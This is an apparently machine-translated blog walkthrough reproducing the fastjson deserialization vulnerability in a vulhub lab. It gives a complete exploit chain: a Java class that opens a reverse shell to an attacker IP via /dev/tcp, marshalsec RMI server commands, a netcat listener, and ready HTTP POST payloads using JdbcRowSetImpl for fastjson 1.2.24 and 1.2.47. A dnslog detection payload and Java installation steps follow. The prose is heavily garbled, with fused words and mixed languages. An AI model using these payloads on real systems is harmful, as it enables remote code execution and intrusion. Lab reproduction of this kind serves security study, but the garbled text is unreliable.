当前位置:网站首页>Réplication de vulnérabilité - désrialisation fastjson
Réplication de vulnérabilité - désrialisation fastjson
2022-07-07 08:10:00 【_ Bar _ S1mple】
Table des matières
Description de la vulnérabilité
Exploitation des vulnérabilités
FastjsonDétection des vulnérabilités
Description de la vulnérabilité
fastjsonOffreautotypeFonction,Dans le processus de demande,Nous pouvons modifier le paquet de demande [email protected] de,Pour désérialiser au type spécifié,EtfastjsonLes propriétés de la classe sont définies et acquises lors de la désrialisation,S'il y a des méthodes malveillantes dans la classe,Cela peut causer des problèmes comme l'exécution du Code.
Replay of vulnerability
L'environnement de vulnérabilité ici utilise principalementvulhubLes deux.fastjsonConstruction de vulnérabilités,Accès après la construction8090Le port apparaît comme suit
Exploitation des vulnérabilités
Nous avons besoin devpsOuvrez unRMIAppel de serviceclassDocumentation,D'abord, nous créonstest.java Pour rebondir shell,Utilisez les commandesjavac test.javaCompilation Buildtest.class( Tout l'environnement expérimental est basé sur java8Sur la base de)
import java.lang.Runtime;
import java.lang.Process;
public class test {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/59.110.xx.xx/8002 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}AidemarshalsecProjet ouvertrmiServices,Écouter9999Port,Et faire charger la classe distantetest.class
Nous devons d'abord compiler la construction marshalsec-0.0.3-SNAPSHOT-all.jar
git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package -DskipTests
Commencez par unhttp Le service est facile à charger test.class
# python2
python2 -m SimpleHTTPServer
# python3
python3 -m http.serverEt ensuite nous allons commencer RMISurveillance du service9999Port
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://59.110.xx.xx:8000/#test" 9999Le serveur local écoute le port dans le fichier
nc -nvlp xxxxToutes les opérations ci - dessus sont effectuées sur le même serveur

fastjson 1.2.24
POST / HTTP/1.1
Host: 139.196.xx.xx:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 162
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://59.110.xx.xx:9999/Test",
"autoCommit":true
}
}
fastjson 1.2.47
POST / HTTP/1.1
Host: 139.196.xx.xx:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 162
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://59.110.xx.xx:9999/test",
"autoCommit":true
}
}Annexe
FastjsonDétection des vulnérabilités
Inhttp://dnslog.cn/Générer un nom de domaine au hasard,Et ensuite construirepayload
{"@type":"java.net.InetAddress","val":"dsunaw.dnslog.cn"}Oui.payload Envoyer dans le corps de la demande ,Sidnslog Un enregistrement existe fastjsonVulnérabilité

Installationjava8
Télécharger l'adresse:https://github.com/frekele/oracle-java/releases
Téléchargerjdk-8u221-linux-x64.tar.gz
OR
sudo apt-get install openjdk-8-jdk
Désinstaller
# Voir l'installationOpenJDKSac
dpkg --list | grep -i jdk
# DésinstallerOpenJDKPaquets connexes
apt-get purge openjdk-*
# Vérifiez tous les OpenJDK Si tous les paquets ont été désinstallés
dpkg --list | grep -i jdkInstallation
# Placer le paquet compressé sur/opt/javaSous la table des matières
mv jdk-8u212-linux-x64.tar.gz /opt/java
# Décompresser
tar -zxvf jdk--8u212-linux-x64.tar.gz
# Configurer les variables d'environnement
Modifier/etc/profileDocumentation
vim /etc/profile
Ajouter les informations suivantes à la fin du texte
export JAVA_HOME=/opt/java/jdk1.8.0_212
export JRE_HOME=${JAVA_HOME}/jre
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH=${JAVA_HOME}/bin:${PATH}
# FairejavaEfficacité environnementale
source /etc/profile
# Voir si l'installation a réussi
java -version边栏推荐
- Linux server development, redis source code storage principle and data model
- 漏洞复现-easy_tornado
- B. Value sequence thinking
- 芯片 設計資料下載
- C语言队列
- Linux server development, MySQL index principle and optimization
- Few shot Learning & meta learning: small sample learning principle and Siamese network structure (I)
- Complex network modeling (I)
- Qinglong panel - today's headlines
- Summary of redis functions
猜你喜欢

The simple problem of leetcode is to judge whether the number count of a number is equal to the value of the number

Use of JMeter

漏洞复现-easy_tornado

LeetCode简单题之找到一个数字的 K 美丽值

Quick analysis of Intranet penetration helps the foreign trade management industry cope with a variety of challenges

2022 Inner Mongolia latest advanced fire facility operator simulation examination question bank and answers

Real time monitoring of dog walking and rope pulling AI recognition helps smart city

QT learning 26 integrated example of layout management

Myabtis_Plus

Fast parsing intranet penetration escorts the document encryption industry
随机推荐
Li Kou interview question 04.01 Path between nodes
Leetcode medium question my schedule I
Open source ecosystem | create a vibrant open source community and jointly build a new open source ecosystem!
JS quick start (I)
追风赶月莫停留,平芜尽处是春山
Linux server development, redis source code storage principle and data model
Padavan manually installs PHP
调用 pytorch API完成线性回归
Call pytorch API to complete linear regression
Force buckle 144 Preorder traversal of binary tree
漏洞复现-Fastjson 反序列化
[VHDL parallel statement execution]
Qinglong panel -- finishing usable scripts
Who has docker to install MySQL locally?
拓维信息使用 Rainbond 的云原生落地实践
Find the mode in the binary search tree (use medium order traversal as an ordered array)
Introduction à l'objet blob
Bayes' law
[quickstart to Digital IC Validation] 15. Basic syntax for SystemVerilog Learning 2 (operator, type conversion, loop, Task / Function... Including practical exercises)
The charm of SQL optimization! From 30248s to 0.001s